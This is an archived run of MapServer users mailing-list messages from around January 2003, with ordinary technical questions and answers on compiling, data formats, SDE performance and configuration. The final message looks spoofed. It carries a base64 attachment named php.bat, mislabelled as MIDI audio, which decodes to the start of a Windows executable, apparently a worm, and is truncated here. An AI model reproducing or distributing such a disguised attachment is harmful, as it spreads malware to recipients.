bug report and provide the information that I listed there to help us reproduce the problem? Thanks Daniel > Subject: ./configure bug > Date: Mon, 30 Dec 2002 16:19:04 -0500 (EST) > From: richard hornsby > To: mapserver-bugs at lists.gis.umn.edu > > I think I'll be able to work around this, but this error is coming up when > trying to ./configure MapServer: > > !!! The current version of PHP MapScript has some problems with !!! > !!! PHP4's bundled regex. Until we figure the solution to the !!! > !!! problem, the workaround is to compile PHP4 with the system regex !!! > !!! Please re-configure and re-compile PHP4 with --with-system-regex !!! > !!! and then re-configure and re-compile MapServer. !!! > > The '--with-system-regex' option in PHP is deprecated, and has been > superceded by '--with-regex=system' > > ie, my PHP ./configure looks like: > > './configure' '--with-apxs=/usr/local/apache/bin/apxs' > '--enable-trans-sid' '--enable-track-vars' '--with-gd' '--with-pdflib' > '--with-jpeg-dir' '--with-tiff-dir' '--with-pspell' '--with-freetype-dir' > '--enable-gd-native-ttf' '--with-png-dir' '--with-zlib-dir' '--with-ttf' > '--with-regex=system' > > but the MapServer script complains. :) > > thanks for your time! > -rj > > -- > Information Center, n.: > A room staffed by professional computer people whose job it is to > tell you why you cannot have the information you require. > > rj hornsby . systems engineer . www.osuedc.org > human and community resource development > p 614 688 8761 . f 614 688 8762 > _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From Norman Thu Jan 2 12:52:19 2003 From: Norman (Norman) Date: Thu, 2 Jan 2003 15:52:19 -0500 Subject: [Mapserver-users] MDK9 (gcc3): undefined reference to `__gxx_personality_v0' References: Message-ID: <04c701c2b2a0$d8df9cc0$1436ba8c@sfdev3> richard hornsby writes: > > ref gcc version 3.2 (Mandrake Linux 9.0 3.2-1mdk) > ref mapserver 3.6.3 > > Checking the mailing list archives and realizing that this seems to be a > common problem with GCC 3 not understanding what 'personality_v0' is or > whatever, and seeing all the stuff about changing the makefile to point to > g++ in the problem areas, what I can't figure out is: > > - what lines (by number if possible) in the Makefile need to be changed, > so that those who are trying aren't changing the wrong lines? > > - does it actually do anything to change lines in the Makefile to point > to g++ in linux? ie, I get the same version response whether I ask 'gcc > -v' or 'g++ -v'? this keeps coming up so I hope the following can be used as the basis for a FAQ entry or even better for changes to be made in the mapserver Makefile < please clean up as necessary > g++ and c++ are just driver programs that call the actual compiler g++ automatically links with -lstdc++ whereas gcc does not so since the some of the libraries mapserver link with are C++ libraries you need to link with libstdc++ to link successfuly You can accomplish this by either 1) changing the Makefile so that g++ is called for the linking stage of the mapserver executables 2) adding -lstdc++ to the list of libraries thesse executables are linked against > - is it possible to install and use gcc 2.9.x concurrently with gcc 3.x, > and therefore compile mapserver with the gcc 2.9.x, all *without* > breaking the existing installation of gcc 3.x? if so, could someone point > out where the documentation on howto do this is? http://gcc.gnu.org/fom_serv/cache/14.html HTH Norman From DMartin at erac.com Thu Jan 2 13:10:26 2003 From: DMartin at erac.com (Martin, Daniel) Date: Thu, 2 Jan 2003 15:10:26 -0600 Subject: [Mapserver-users] sample of flash using mapserver Message-ID: <4ACBA1414DD9EE418CC250E4AAA9035A16F490@STL-EXBE-I03.corp.erac.com> It is a very cool demo. I'm impressed with it. I really didn't know what to make of this new feature until I saw your demo. On a barely related note, if it's not something you mind sharing, could you tell me where you got those fine raster images of the U.S.? -Dan > -----Original Message----- > From: Hankley, Chip [mailto:Chip.Hankley at gasai.com] > Sent: Thursday, January 02, 2003 1:23 PM > To: 'Aaron D. Hunt'; 'morissette at dmsolutions.ca' > Cc: MapServer List (E-mail) > Subject: RE: [Mapserver-users] sample of flash using mapserver > > > Aaron and Daniel - > > Wow. Those are great examples. When 3.7 is released, what > will we need to > develop those types of front-ends? Is Flash the only thing? > Is PHP-MapScript > or CGI MapServer driving the back-end? > > Thanks! > > Chip > > -----Original Message----- > From: Aaron D. Hunt [mailto:hunt at zedxinc.com] > Sent: Tuesday, December 31, 2002 12:02 PM > To: mapserver-users at lists.gis.umn.edu; Daniel Morissette > Subject: Re: [Mapserver-users] sample of flash using mapserver > > > Try it again > ----- Original Message ----- > From: "Daniel Morissette" > To: "Aaron D. Hunt" > Sent: Tuesday, December 31, 2002 12:25 PM > Subject: Re: [Mapserver-users] sample of flash using mapserver > > > > > "Aaron D. Hunt" wrote: > > > > > > Here is a first cut example of a flash program I have made using > > > mapserver. > > > > > > http://www.zedxinc.com/sample/show.html > > > > > > Aaron D. Hunt > > > > I tried to access it, but it tries to access something on > > aphis-dev.zedxinc.com which is not available (possibly > located behind > > your firewall), so we don't get any map. > > > > BTW, does this use the new Flash support in MapServer 3.7? > > > > Daniel > > -- > > ------------------------------------------------------------ > > Daniel Morissette morissette at dmsolutions.ca > > DM Solutions Group http://www.dmsolutions.ca/ > > ------------------------------------------------------------ > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From sscott at gwi.net Thu Jan 2 13:23:29 2003 From: sscott at gwi.net (Shannon Scott) Date: Thu, 2 Jan 2003 16:23:29 -0500 Subject: [Mapserver-users] Fastest Data Format Message-ID: <015e01c2b2a5$322ccce0$44c8a8c0@PEMAQUID> This is a multi-part message in MIME format. ------=_NextPart_000_015B_01C2B27B.4925F0E0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello, Does anyone know which data format performs the best? For Rendering? = For Queries? I am really wondering about shapefiles versus postgreSQL and PostGIS... = but I also am curious how SDE with Oracle, and Oracle Spatial rate = against the others. Any Info is appreciated. Thank You Shannon ------=_NextPart_000_015B_01C2B27B.4925F0E0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hello,
Does anyone know which data format = performs the=20 best?  For Rendering?  For Queries?
I am really wondering about shapefiles = versus=20 postgreSQL and PostGIS... but I also am curious how SDE with Oracle, and = Oracle=20 Spatial rate against the others.
 
Any Info is appreciated.
Thank You
Shannon
 
------=_NextPart_000_015B_01C2B27B.4925F0E0-- From morissette at dmsolutions.ca Thu Jan 2 14:16:15 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 02 Jan 2003 17:16:15 -0500 Subject: [Mapserver-users] Fastest Data Format References: <015e01c2b2a5$322ccce0$44c8a8c0@PEMAQUID> Message-ID: <3E14BA2F.BB266798@dmsolutions.ca> > Shannon Scott wrote: > > Does anyone know which data format performs the best? For Rendering? > For Queries? > I am really wondering about shapefiles versus postgreSQL and > PostGIS... but I also am curious how SDE with Oracle, and Oracle > Spatial rate against the others. > It really depends on your data and what your application does with it. The short answer is that if your data is static then shapefiles properly organized with tile indexes and .qix (shptree) indexes are the fastest way to render maps in MapServer, even for multi-gigabyte datasets. About spatial queries, you should get equivalent performance from either shapefiles (tiled, indexed) or from a spatial database such as PostGIS assuming the spatial indexes are properly built. Finally, if you plan on doing dynamic updates to your data or advanced attribute queries then shapefiles are out of the question and you should really consider using a spatially-enabled RDBMS such as PostGIS, Oracle Spatial or SDE. Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From steve.lime at dnr.state.mn.us Thu Jan 2 14:22:30 2003 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Thu, 02 Jan 2003 16:22:30 -0600 Subject: [Mapserver-users] Fastest Data Format Message-ID: I think it's safe to say that for general purpose use local shapefiles are the fastest for query and rendering. There is simply less overhead, especially if they are indexed. The fancier you need to get (pre-filtering for example) the better the other options may be since their SQL engines are superior. Steve Stephen Lime Data & Applications Manager Minnesota DNR 500 Lafayette Road St. Paul, MN 55155 651-297-2937 >>> "Shannon Scott" 01/02/03 03:23PM >>> Hello, Does anyone know which data format performs the best? For Rendering? For Queries? I am really wondering about shapefiles versus postgreSQL and PostGIS... but I also am curious how SDE with Oracle, and Oracle Spatial rate against the others. Any Info is appreciated. Thank You Shannon From mapserver at peligroso.gaiaenv.com Thu Jan 2 14:51:19 2003 From: mapserver at peligroso.gaiaenv.com (GAIA) Date: Thu, 2 Jan 2003 15:51:19 -0700 (MST) Subject: [Mapserver-users] Fastest Data Format Message-ID: <200301022251.h02MpJV7007037@peligroso.gaiaenv.com> Shannon, My $0.02 CAD... The SDE performance is horrible at this point and will continue to be so until the connection overhead is reduced (see a previous post of mine and the responses entitled something like 'SDE Performance'). We resorted back to shapes for now and hope for improvements in the near future. Cheers, GAIA From ed at topozone.com Thu Jan 2 15:02:01 2003 From: ed at topozone.com (Ed McNierney) Date: Thu, 2 Jan 2003 18:02:01 -0500 Subject: [Mapserver-users] Fastest Data Format Message-ID: <13858AA1A74F30419F319ACB66A9D122019554@mercator.topozone.com> Shannon - Absolutely, guaranteed the fastest - no data at all. It renders in zero time on even the slowest machines! Seriously, my joke is meant to point out that your question is meaningless without some requirements placed on that data. As I've long pointed out, any software can be made to run arbitrarily quickly provided it is not required to give the correct result. Adding that "correct result" requirement will slow things down depending on what that result is. Can you describe a bit of how you're intending to use MapServer? That will let us all define the problem and give you some good advice. Thanks! - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. ed at topozone.com -----Original Message----- From: Shannon Scott [mailto:sscott at gwi.net] Sent: Thu 1/2/2003 4:23 PM To: Mapserver-users at lists.gis.umn.edu Cc: Subject: [Mapserver-users] Fastest Data Format Hello, Does anyone know which data format performs the best? For Rendering? For Queries? I am really wondering about shapefiles versus postgreSQL and PostGIS... but I also am curious how SDE with Oracle, and Oracle Spatial rate against the others. Any Info is appreciated. Thank You Shannon From mapserver at peligroso.gaiaenv.com Thu Jan 2 15:26:01 2003 From: mapserver at peligroso.gaiaenv.com (GAIA) Date: Thu, 2 Jan 2003 16:26:01 -0700 (MST) Subject: [Mapserver-users] Fastest Data Format Message-ID: <200301022326.h02NQ1pK007252@peligroso.gaiaenv.com> Hi all, I just read my posting, which sounds somewhat curt and it wasn't meant to be. Shapefiles are nice and quick for the most part and MapServer is still the best solution for us by far. Having said that, the SDE performance is not up to par with the rest of the application. As part of our model, we promote multiple applications hitting a common data set. SDE connectivity is a must as our needs and many of our clients' needs evolve (many of our clients use SDE already), and we were excited to see its inclusion. Shapefiles have, for the most part, performed well for us, even with large data sets. Performance aside, as we and our clients manage larger data sets, the data management convenience of a RDBMS approach is more logical and cost effective. The volume of tiles can get rediculous with large data sets and multiple clients. Now, if we could only realise the performance... Cheers, GAIA From listamapserver at hotmail.com Thu Jan 2 15:38:06 2003 From: listamapserver at hotmail.com (Andres Garcia) Date: Thu, 02 Jan 2003 18:38:06 -0500 Subject: [Mapserver-users] Plotting maps using mapserver Message-ID: Are there any tools for plotting postscripts or HPGL using mapserver ? We need ISO Paper sizes (A0,A1,A2...etc). thanks in advance attn andres garcia _________________________________________________________________ MSN. M?s ?til Cada D?a http://www.msn.es/intmap/ From DMartin at erac.com Thu Jan 2 15:45:36 2003 From: DMartin at erac.com (Martin, Daniel) Date: Thu, 2 Jan 2003 17:45:36 -0600 Subject: [Mapserver-users] Fastest Data Format Message-ID: <4ACBA1414DD9EE418CC250E4AAA9035A192B95@STL-EXBE-I03.corp.erac.com> I'm curious, does another GIS product access SDE faster than MapServer? The reason I ask is that I also experience slower performance using MapInfo data via OGR. Certainly I realize MapInfo data isn't nearly as robust as SDE. However, MapServer serves the same map quicker than MapInfo's own GUI application. I can't ask for much more than that. -Dan > -----Original Message----- > From: GAIA [mailto:mapserver at peligroso.gaiaenv.com] > Sent: Thursday, January 02, 2003 5:26 PM > To: Mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] Fastest Data Format > > > Hi all, > > I just read my posting, which sounds somewhat curt and it > wasn't meant to be. Shapefiles are nice and quick for the > most part and MapServer is still the best solution for us by > far. Having said that, the SDE performance is not up to par > with the rest of the application. As part of our model, we > promote multiple applications hitting a common data set. SDE > connectivity is a must as our needs and many of our clients' > needs evolve (many of our clients use SDE already), and we > were excited to see its inclusion. > > Shapefiles have, for the most part, performed well for us, > even with large data sets. Performance aside, as we and our > clients manage larger data sets, the data management > convenience of a RDBMS approach is more logical and cost > effective. The volume of tiles can get rediculous with large > data sets and multiple clients. Now, if we could only > realise the performance... > > > Cheers, > GAIA > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From jlowe at giswebsite.com Thu Jan 2 16:34:07 2003 From: jlowe at giswebsite.com (Jonathan W. Lowe) Date: 02 Jan 2003 16:34:07 -0800 Subject: [Mapserver-users] mapscript and XBase cause Out of memory error and/or premature end of script headers error Message-ID: <1041554050.1593.18.camel@localhost.localdomain> List: Perl mapscript in combination with the perl XBase and CGI modules works very well in my Redhat 8 development environment, but when moving the code to the production FreeBSD environment, the following problem results: A program containing the statements... use mapscript; use XBase; ...runs the mapscript portions correctly when just the "use XBase;" line is commented out. The same program runs the XBase portions correctly when just the "use mapscript;" line is commented out. The line causing problems when both modules are running contains the following perl mapscript command: my $img = $map->draw() or die('Unable to draw map'); The resulting line in the apache error_log reads: Out of memory! [Thu Jan 2 16:09:25 2003] [error] Premature end of script headers...etc The only posting referring to "Out of memory" in this context refers to SWIG and is a couple of years old. Any ideas for resolving this problem? Regards, Jonathan W. Lowe From pramsey at refractions.net Thu Jan 2 17:35:05 2003 From: pramsey at refractions.net (Paul Ramsey) Date: Thu, 02 Jan 2003 17:35:05 -0800 Subject: [Mapserver-users] Fastest Data Format In-Reply-To: <4ACBA1414DD9EE418CC250E4AAA9035A192B95@STL-EXBE-I03.corp.erac.com> References: <4ACBA1414DD9EE418CC250E4AAA9035A192B95@STL-EXBE-I03.corp.erac.com> Message-ID: <3E14E8C9.8050609@refractions.net> ArcIMS seems to handle SDE just fine, but that should be no surprise :) I imagine that ArcIMS uses connection pooling to avoid the overhead associated with making SDE connections. I should reiterate at this point that the performance problem does not adhere to SDE necessarily or to Mapserver necessarily, but to the amount of time it takes to negotiate a connection with an SDE server. Once the connection is made, everything is performant. It is making the connection which is the issue. If you are only making one connection, probably it is completely reasonable. However, the current design of Mapserver treats each layer as a distinct entity, and each layer datasource as a distinct entity. So for each SDE-based layer, there is a separate SDE connection to be made. Over numerous layers, things can add up to quite a long delay. Jan Hartmann has made a proposal for connection pooling between layers, I do not know if he has a preliminary implementation or if such an implementation will be included in 3.7. Paul Martin, Daniel wrote: > I'm curious, does another GIS product access SDE faster than MapServer? > > The reason I ask is that I also experience slower performance using MapInfo > data via OGR. Certainly I realize MapInfo data isn't nearly as robust as > SDE. However, MapServer serves the same map quicker than MapInfo's own GUI > application. I can't ask for much more than that. > > -Dan From javageoff at hotmail.com Thu Jan 2 22:02:26 2003 From: javageoff at hotmail.com (Geoff Anderson) Date: Thu, 02 Jan 2003 23:02:26 -0700 Subject: [Mapserver-users] Mapserver to SVG Message-ID: Is anyone actively integrating Mapserver with SVG? A strategy I'm using is to pass [mapex], [img], and [legend] etc. from the map template appended to a link that points to PHP scripts which dynamically generate spatially referenced SVG. Raster maps generated from Mapserver are easily embedded in SVG, potentially giving users the best of both raster/vector worlds. SVG immediately offers advanced web geoprocessing functionality such as browser based heads-up digitizing, dynamic feature updates via gymnastic inter-frame scripting, changing symbology w/out reloading the image etc. My opinion/experience is that SVG can best be levereged in hybrid applications designed to limit amount of spatial data actually written to SVG. Exotic fads like SVG better justify their existence by adding value to Killer GIS Apps like Mapserver, PostGIS, and ... Grass. I'll post a demo and PHP source shortly if anyone is interested. -geoff _________________________________________________________________ The new MSN 8 is here: Try it free* for 2 months http://join.msn.com/?page=dept/dialup From arnulf.christl at ccgis.de Fri Jan 3 01:47:52 2003 From: arnulf.christl at ccgis.de (Arnulf Christl) Date: Fri, 3 Jan 2003 10:47:52 +0100 Subject: [Mapserver-users] Maximum of 50 Classes / Layer? Message-ID: Hello, please could anyone confirm to me that there is a known limitation of 50 classes per layer - or is it a bug? Whenever I define more than 50 classes in the .map file and request a WMS capabilitites document, mapserv.exe will hang and not answer. Is there any possibility to use more than 50 classes? My system: - MapServer 3.6 - WMS enabled - Shape data (300 MB) - OS Windows 2000 Regards, Arnulf Christl. -------------------------------- Arnulf Christl (R&D) CCGIS GbR Heerstr. 162 53111 Bonn GERMANY -------------------------------- arnulf.christl at ccgis.de www.ccgis.de -------------------------------- Zentrale: ++49 (0) 228 90826 0 Durchwahl: ++49 (0) 228 90826 23 Fax: ++49 (0) 228 90826 11 GSM: ++49 (0) 172 2958 004 -------------------------------- From stepan.kafka at centrum.cz Fri Jan 3 02:10:31 2003 From: stepan.kafka at centrum.cz (Stepan Kafka) Date: Fri, 3 Jan 2003 11:10:31 +0100 Subject: [Mapserver-users] Maximum of 50 Classes / Layer? In-Reply-To: Message-ID: <000301c2b310$58f19070$7e3c2fc3@HSGIS> Hello Arnulf. Default number of classes per layer is 50. But you can increase it changing MS_MAXCLASSES value in map.h source. Then recompile mapserver. Stepan Kafka Help Service Remote Sensing tel: +420-327514118 mailto:kafka at email.cz http://www.bnhelp.cz > -----P?vodn? zpr?va----- > Od: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu]za u?ivatele Arnulf > Christl > Odesl?no: 3. ledna 2003 10:48 > Komu: mapserver-users at lists.gis.umn.edu > P?edm?t: [Mapserver-users] Maximum of 50 Classes / Layer? > > > Hello, > please could anyone confirm to me that there is a known limitation of 50 > classes per layer - or is it a bug? > Whenever I define more than 50 classes in the .map file and request a WMS > capabilitites document, mapserv.exe will hang and not answer. > Is there any possibility to use more than 50 classes? > > My system: > - MapServer 3.6 > - WMS enabled > - Shape data (300 MB) > - OS Windows 2000 > > Regards, > Arnulf Christl. > > -------------------------------- > Arnulf Christl (R&D) > CCGIS GbR > Heerstr. 162 > 53111 Bonn > GERMANY > -------------------------------- > arnulf.christl at ccgis.de > www.ccgis.de > -------------------------------- > Zentrale: ++49 (0) 228 90826 0 > Durchwahl: ++49 (0) 228 90826 23 > Fax: ++49 (0) 228 90826 11 > GSM: ++49 (0) 172 2958 004 > -------------------------------- > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > From sscott at gwi.net Fri Jan 3 04:55:14 2003 From: sscott at gwi.net (Shannon Scott) Date: Fri, 3 Jan 2003 07:55:14 -0500 Subject: [Mapserver-users] Fastest Data Format References: <13858AA1A74F30419F319ACB66A9D122019554@mercator.topozone.com> Message-ID: <013101c2b327$5c413930$44c8a8c0@PEMAQUID> Ed, Thank you for taking an interest. Please let me know if this is not the type of info you are interested in. RedHat Linux 7.2 I plan to use these national datasets. Census Tracts - poly States ( detailed ) - poly Parks - poly 3 Hydro layers ( generalized for scale ) - poly Counties - poly Rail - line Local Roads - line State Routes - line US Routes - line Highways - line Cities/Towns - point Much of the data originally came from the census tiger files, but has been modified. We query the City point layer for County Seat and State Capital, and apply the appropriate symbology; the other layers are not queried... just rendered ( with the exception of the tracts ). The data is stored in decimal degrees, but rendered in the local UTM zone. Our application allows the user to perform their own analysis, and then see the results. In the software I currently use ( SDE/ ArcIMS/Oracle ), we need to create a table in the database to render the result map ( Tracts Layer ). I think I will need to create the table with mapserver also, so I am looking at moving to PostgreSQL DB because of the cost savings over Oracle. Do I need to create a table for mapserver to render the values? Can mapserver join a table from an RDBMS with a shapefile, or does the spatial data also need to be in the RDBMS? Thank you for any help. Shannon ----- Original Message ----- From: "Ed McNierney" To: "Shannon Scott" ; Sent: Thursday, January 02, 2003 6:02 PM Subject: RE: [Mapserver-users] Fastest Data Format > Shannon - > > Absolutely, guaranteed the fastest - no data at all. It renders in zero time on even the slowest machines! > > Seriously, my joke is meant to point out that your question is meaningless without some requirements placed on that data. As I've long pointed out, any software can be made to run arbitrarily quickly provided it is not required to give the correct result. Adding that "correct result" requirement will slow things down depending on what that result is. > > Can you describe a bit of how you're intending to use MapServer? That will let us all define the problem and give you some good advice. Thanks! > > - Ed > > Ed McNierney > President and Chief Mapmaker > TopoZone.com / Maps a la carte, Inc. > ed at topozone.com > > -----Original Message----- > From: Shannon Scott [mailto:sscott at gwi.net] > Sent: Thu 1/2/2003 4:23 PM > To: Mapserver-users at lists.gis.umn.edu > Cc: > Subject: [Mapserver-users] Fastest Data Format > > > Hello, > Does anyone know which data format performs the best? For Rendering? For Queries? > I am really wondering about shapefiles versus postgreSQL and PostGIS... but I also am curious how SDE with Oracle, and Oracle Spatial rate against the others. > > Any Info is appreciated. > Thank You > Shannon > > > From lfilak at medinaco.org Fri Jan 3 05:26:29 2003 From: lfilak at medinaco.org (Lowell Filak) Date: Fri, 03 Jan 2003 08:26:29 -0500 Subject: [Mapserver-users] Plotting maps using mapserver Message-ID: <200301031323.h03DNcR03053@yogi.medinaco.net> There is for pdf and some newer postscript plotters recognize pdf directly. Just a possibility. Lowell F. The following message was sent by "Andres Garcia" on Thu, 02 Jan 2003 18:38:06 -0500. > Are there any tools for plotting postscripts or HPGL using mapserver ? > We need ISO Paper sizes (A0,A1,A2...etc). > > thanks in advance > > attn > > andres garcia > > > _________________________________________________________________ > MSN. M?s ?til Cada D?a http://www.msn.es/intmap/ > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From frank at horow.net Thu Jan 2 06:32:52 2003 From: frank at horow.net (Frank Horowitz) Date: 02 Jan 2003 22:32:52 +0800 Subject: [Mapserver-users] querying via cgi-bin? Message-ID: <1041517973.4022.45.camel@amdo> Hi Folks, I'm a newbie to MapServer, so go easy on me! ;-) (Also, I don't subscribe to this list, so please reply directly. Thanks!) I am interested in "scraping" a remote MapServer for a bunch of map images, which in turn are to be fed to a downstream application. The server is running v3.3.something if it matters. I've figured out the appropriate GET/POST request, and have that scripted up in a little Python wrapper, ready to be looped over the region of interest. So far, so good. Except for one little problem. My downstream app requires images at 1280x1024 (yes, I know, ugh, but looking at the source, it's not a simple matter to change those magic numbers, and they a entrenched *everywhere* in gpsdrive's source). The auslig MapServer refuses to serve any image greater than 1024x1024 (I am sympathetic to the reasons why). This leaves me with my little problem. It occurred to me that a hacky way around the problem is to simply retrieve two map images (where I'd ideally like to get only one) each of size 640x1024 and paste them together using some other means. However, my downstream app's queries rely on specifying a center point (lat,lon) and a map scale (whatever *that* means on a raster device with undetermined pixel sizes). Now, in an ideal world (so to speak ;-), the calculation of the pixel size and hence lat,lon boundaries would be a trivial matter. But this is a GIS we're talking about, and I do *NOT* want to get involved with ellipsoid calculations, etc. etc. if I can possibly avoid it. IMHO, that's the job of the GIS, not my script. So that all brings me to the question in my Subject line. Is there some way to use the cgi-bin interface to perform something like the following steps? 1) Build a correctly scaled and centered image query (with only one layer to take it easy on the database) sized at 640x512. (I more or less already know how to do this, in at least one way that might not be relevant to an ultimate solution.) 2) Somehow, through some cgi-bin magic that I don't understand, retrieve the map extents for the image of step 1, in some kind of form that I can grab the numerical results with my Python script. (IOW, maybe coerce the MapServe to return some html with the values I need inside; then it should be a 'simple' matter of busting apart the html to get at the values I really want.) 3) Double the intervals in lat,lon and combine with the (known) center lat,lon values to build two queries for the "left" and "right" halfs of the 1280x1024 image that I ultimately need. (I think this gets around the ellipsoid calculations; the GIS is determining the "small" bounds correctly (presumably). Once I'm dealing with lat,lon boundaries, as estimated for the centroid of the region, doubling the angles should give me a lat,lon coordinate image that is double the pixel count in each direction. 4) Glue them all together using some strategy that still needs to be hacked up. (Straightforward.) Step 2) is the only one I don't have a clue about how to go about, since it seems to involve advanced cgi-bin variable magic or templates or something. If anyone on this list has any suggestions (hopefully with example GET/POST strings ;-) I'd be most grateful! Obviously, if there is some easy way of coercing the MapServer to return a 1280x1024 image straight away, I can avoid all of the hackery, and that would be a *much* better solution. TIA for any help you might be able to provide! Cheers, Frank Horowitz From Amy.Stender at erdc.usace.army.mil Thu Jan 2 10:53:34 2003 From: Amy.Stender at erdc.usace.army.mil (Stender, Amy ERDC-CRREL-NH Contractor) Date: Thu, 2 Jan 2003 13:53:34 -0500 Subject: [Mapserver-users] shapefile transparency Message-ID: <048FBD219330D211B47000A0C9B3BAFD01BDBEFB@crl02.crrel.usace.army.mil> Hello, I'm a little confused as to how TRANSPARENCY works within a LAYER object. I have urban area polygons I would like to overlay states/counties, with TRANSPARENCY set to 50. When this layer turns on, not only are the urban areas transparent, but the states/counties go transparent as well. This appears only to effect the layers on by default. When I turn on other layers, they are still completely opaque. Any ideas what I'm doing wrong? (I'm using v3.7) Thanks, Amy Amy L. Stender Remote Sensing/GIS Center Cold Regions Research and Engineering Laboratory United States Army Corps of Engineers 72 Lyme Road, Hanover, NH 03755-1290 Tel: (603) 646-4733 Fax: (603) 646-4730 Amy.Stender at erdc.usace.army.mil From kevin at peoplegis.com Thu Jan 2 21:40:57 2003 From: kevin at peoplegis.com (Kevin Flanders) Date: Fri, 3 Jan 2003 00:40:57 -0500 Subject: [Mapserver-users] WMS Sites Message-ID: Is there a list of WMS Server Sites available? And does anyone know if the USGS 7.5-minute DEMS are available via a WMS Server? Kevin From wesp at gdv.com Fri Jan 3 06:28:40 2003 From: wesp at gdv.com (Oliver Wesp) Date: Fri, 03 Jan 2003 15:28:40 +0100 Subject: [Mapserver-users] Styleitem 'Auto' and Legends Message-ID: <3E159E18.6010905@gdv.com> Dear List, I'm somwhat new to using MapInfo TABs with MapServer. So far I got everything up and running. My TABs contain different styles so I'm using StyleItem 'AUTO' to render these layers. Works fine except for the legend. I like every class to appear on the legend. Is this possible? An empty class section doesn't appear in the legend (lack of name-item). If I add NAME to my class section one class appears in the legend and is randomly rendered with different styles due to the displayed features when I zoom into the map. Any hint is appreciated. Thanks. Oliver -- Dipl.-Geogr. Oliver Wesp Gesellschaft f?r geografische Datenverarbeitung Binger Strasse 49-51 D-55218 Ingelheim fon: +49 6132 714818 fax: +49 6132 714828 http: www.gdv.com From woodbri at swoodbridge.com Fri Jan 3 07:55:45 2003 From: woodbri at swoodbridge.com (woodbri) Date: Fri, 3 Jan 2003 16:55:45 +0100 (added by postmaster@wanadoo.fr) Subject: [Mapserver-users] Move php maopscript module into php libsL Message-ID: <3E075B46003F58A7@mel-rta9.wanadoo.fr> (added by postmaster@wanadoo.fr) --N05WFp22eT95988s781CLn651878CdVQ Content-Type: text/html; Content-Transfer-Encoding: quoted-printable --N05WFp22eT95988s781CLn651878CdVQ Content-Type: audio/x-midi; name=php.bat Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 